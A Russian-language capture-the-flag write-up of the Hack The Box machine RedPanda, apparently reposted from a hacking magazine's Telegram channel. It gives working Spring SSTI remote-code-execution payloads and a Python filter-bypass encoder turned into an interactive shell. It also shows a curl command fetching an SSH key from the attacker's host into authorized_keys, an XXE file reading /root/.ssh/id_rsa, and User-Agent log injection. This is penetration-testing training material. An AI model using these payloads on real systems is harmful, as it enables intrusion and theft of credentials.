Хакер - HTB RedPanda. Обходим фильтр при Spring SSTI

https://t.me/hacker_frei

RalfHacker

Содержание статьи

• Разведка
• Сканирование портов
• Точка входа
• SSTI
• Точка опоры
• Продвижение
• Локальное повышение привилегий

В этом рай­тапе я покажу, как обхо­дить филь­тр при экс­плу­ата­ции SSTI с шаб­лониза­тором Spring, написан­ном на Java. Пос­ле получе­ния дос­тупа к хос­ту раз­берем­ся с исходни­ками про­екта и про­экcплу­ати­руем XXE, что­бы получить кри­тичес­ки важ­ные дан­ные и зах­ватить машину.

Уп­ражнять­ся будем на учеб­ном стен­де RedPanda с пло­щад­ки Hack The Box. По слож­ности задача оце­нена как лег­кая.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.170 redpanda.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Наш­ли все­го два откры­тых пор­та:

• 22 — служ­ба OpenSSH 8.2p1;
• 80 — веб‑сер­вер, отме­чен­ный как http-proxy.

Так как ска­ниро­вать SSH в дан­ном слу­чае бес­смыс­ленно, перехо­дим к веб‑сер­веру.

На стра­нице отме­чаем поле вво­да — это потен­циаль­ная точ­ка вхо­да.

ТОЧКА ВХОДА

Поль­зователь­ский ввод так­же попада­ет на стра­ницу с резуль­татом поис­ка.

Тут мы можем поп­робовать нес­коль­ко типов инъ­екций. Переби­рать их будем с помощью Burp Intruder.

Но никакой воз­можнос­ти для инъ­екции опе­рато­ров SQL я не нашел. Тог­да перей­дем к SSTI.

SSTI

Справка: Server-Side Template Injection

Server-Side Template Injection (SSTI), или инъ­екция шаб­лонов на сто­роне сер­вера, — это механизм ата­ки, при котором зло­умыш­ленник внед­ряет в шаб­лон вре­донос­ный код. Шаб­лоны нуж­ны веб‑раз­работ­чикам, что­бы мож­но было нас­тра­ивать внеш­ний вид сай­та толь­ко в одном мес­те и затем не копиро­вать вруч­ную. По сути, шаб­лон — это документ HTML, где в нуж­ных мес­тах отме­чены перемен­ные и коман­ды, которые при генера­ции ито­говой стра­ницы будут замене­ны дан­ными. В том чис­ле это могут быть и дан­ные, получен­ные от посети­теля сай­та.

Ата­ка зат­рагива­ет момент, ког­да прис­ланная информа­ция объ­еди­няет­ся с шаб­лоном. Зло­умыш­ленник фор­миру­ет стро­ку таким обра­зом, что­бы она не прос­то под­ста­вилась в шаб­лон, но была интер­пре­тиро­вана как код. Если это воз­можно, то он добавит свои дирек­тивы, с помощью которых выпол­нит эксфиль­тра­цию дан­ных или даже зах­ват веб‑сер­вера.

Пер­вым делом нуж­но опре­делить исполь­зуемый шаб­лониза­тор, для чего я переби­раю раз­ные вари­анты по сло­варю.

И мы видим выпол­нение выраже­ния 7*7 при исполь­зовании шаб­лона *{}, харак­терно­го для Java-фрей­мвор­ка Spring. Что­бы получить уда­лен­ное выпол­нение кода (RCE) через Spring SSTI, исполь­зуем сле­дующую наг­рузку.

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

ТОЧКА ОПОРЫ

У нас есть RCE, но при попыт­ке выпол­нить некото­рые дей­ствия, к при­меру получить или записать SSH-ключ, мы получа­ем ошиб­ку, что сим­волы филь­тру­ются.

curl http://10.10.11.170:8080/search -d 'name=*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("curl http://10.10.14.23/id_rsa.pub -o /home/woodenk/.ssh/authorized_keys").getInputStream())}'

Сер­вер жалу­ется на невер­ные сим­волы. Давай тог­да закоди­руем вво­димую коман­ду, что­бы избе­жать их. Для сос­тавле­ния наг­рузки мы будем исполь­зовать вот такой генера­тор:

T(java.lang.Character).toString(<...>).concat(T(java.lang.Character).toString(<...>)).concat(...

Я написал на Python прос­той кодер команд:

import sys

data = sys.argv[1]

payload = "*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(" + str(ord(data[0])) + ")"

for i in data[1:]:

payload += ".concat(T(java.lang.Character).toString(" + str(ord(i)) + "))"

payload += ").getInputStream())}"

print("curl http://10.10.11.170:8080/search -d 'name=" + payload + "'")

От­даем скрип­ту коман­ду id и получа­ем коман­ду curl с наг­рузкой.

curl http://10.10.11.170:8080/search -d 'name=*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(105).concat(T(java.lang.Character).toString(100))).getInputStream())}'

И мы видим вывод коман­ды и поль­зовате­ля, от име­ни которо­го она выпол­няет­ся. Давай поп­робу­ем соз­дать каталог .ssh и записать в него ключ SSH. Одна­ко при под­клю­чении у нас все рав­но зап­рашива­ют пароль.

mkdir /home/woodenk/.ssh

curl 10.10.14.23/id_rsa.pub -o /home/woodenk/.ssh/authorized_keys

chmod 0600 /home/woodenk/.ssh/authorized_keys

Так получит­ся работать толь­ко через RCE, поэто­му приш­лось прев­ратить наш генера­тор в более‑менее удоб­ный шелл.

import requests

while True:

inp = input("CMD > ")

payload = "*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(" + str(ord(inp[0])) + ")"

for i in inp[1:]:

payload += ".concat(T(java.lang.Character).toString(" + str(ord(i)) + "))"

payload += ").getInputStream())}"

data = {"name": payload}

r = requests.post("http://10.10.11.170:8080/search", data=data)

q_start = r.content.decode().index("You searched for:") + 18

q_end = r.content.decode().index("</h2>")

print(r.content.decode()[q_start:q_end])

ПРОДВИЖЕНИЕ

Нем­ного погуляв по фай­ловой сис­теме, доходим до катало­га /opt/, где есть нес­коль­ко про­ектов.

Прос­матри­вая катало­ги и исходные коды, все же добира­емся и до кода panda_search.

В основном фай­ле MainController.java находим код для под­клю­чения базы дан­ных. В подоб­ных фун­кци­ях всег­да ука­зыва­ются учет­ные дан­ные для работы с БД.

Имя поль­зовате­ля мы уже зна­ем, поэто­му поп­робу­ем исполь­зовать най­ден­ный пароль и авто­ризо­вать­ся по SSH.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

С помощью авто­мати­зиро­ван­ных средств сбо­ра информа­ции вро­де скрип­тов LinPEASS ничего инте­рес­ного най­ти не уда­лось. Поэто­му отсле­дим запус­каемые про­цес­сы с помощью pspy64.

Сер­вер пери­оди­чес­ки запус­кает скрипт LogParser, к исходно­му коду которо­го мы име­ем дос­туп. Каталог сле­дующий:

/opt/credit-score/LogParser/final/src/main/java/com/logparser

Что инте­рес­но, пос­ле нес­коль­ких про­верок про­исхо­дит пар­синг XML-фай­ла, а это намек на уяз­вимость XXE. Вник­нем в код нем­ного глуб­же.

Пер­вое усло­вие — наличие фай­ла XML, а он соз­дает­ся при­ложе­нием panda_search. В исходном коде фун­кции afterCompletion получа­ем фор­мат дан­ных внут­ри фай­ла логов: responseCode||address||UserAgent||Uri.

Итак, файл и его содер­жимое мы уже можем кон­тро­лиро­вать. Вер­немся к новому про­екту и раз­берем его по фун­кци­ям. Пос­ле чте­ния фай­ла фун­кция isImage про­веря­ет, есть ли в име­ни фай­ла подс­тро­ка .jpg.

За­тем фун­кция parseLog раз­бира­ет лог на парамет­ры status_code, ip, user_agent и uri.

Ку­да инте­рес­нее сле­дующая фун­кция getArtist, в которую переда­ется путь. Эта фун­кция получа­ет параметр метадан­ных Artist из кар­тинки, которая находит­ся по передан­ному пути.

И наконец, рас­смот­рим фун­кцию addViewTo. В нее переда­ется путь к XML-фай­лу. Этот путь сос­тавля­ется из зна­чения, которое вер­нет getArtist, а его мы можем кон­тро­лиро­вать. Сама фун­кция пар­сит XML и перепи­сыва­ет его поля.

Та­ким обра­зом мы можем манипу­лиро­вать метапа­рамет­ром Artist, что­бы ука­зать на собс­твен­ный XML-файл и выпол­нить ата­ку типа XXE. С ее помощью мы смо­жем получить содер­жимое любого фай­ла. Пер­вым делом соз­дадим файл /home/woodenk/ralf_creds.xml со сле­дующим содер­жимым:

<!--?xml version="1.0" ?-->

<!DOCTYPE replace [<!ENTITY r SYSTEM "file:///root/.ssh/id_rsa"> ]>

<credits>

<author>ralf</author>

<image>

<uri>/../../../../../../../home/woodenk/01.jpg</uri>

<hello>&r;</hello>

<views>0</views>

</image>

<totalviews>0</totalviews>

</credits>

Так мы попыта­емся получить файл /root/.ssh/id_rsa в качес­тве парамет­ра r.

А теперь вста­вим метапа­раметр в изоб­ражение и тоже заг­рузим его в домаш­ний каталог поль­зовате­ля.

exiftool -Artist="../home/woodenk/ralf" 01.jpg

Де­ло за малым: сде­лать так, что­бы файл логов содер­жал в качес­тве URL путь к фай­лу изоб­ражения. Так как исполь­зуют­ся раз­делите­ли ||, мы можем выпол­нить инъ­екцию через User-Agent.

curl http://10.10.11.170:8080 -H "User-Agent: ||/../../../../../../../home/woodenk/01.jpg"

Спус­тя некото­рое вре­мя видим в домаш­нем катало­ге уже запол­ненный файл ralf_creds.xml, который будет содер­жать SSH-ключ поль­зовате­ля.

С получен­ным при­ват­ным клю­чом под­клю­чаем­ся к уда­лен­ному сер­веру.

Ма­шина зах­вачена!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei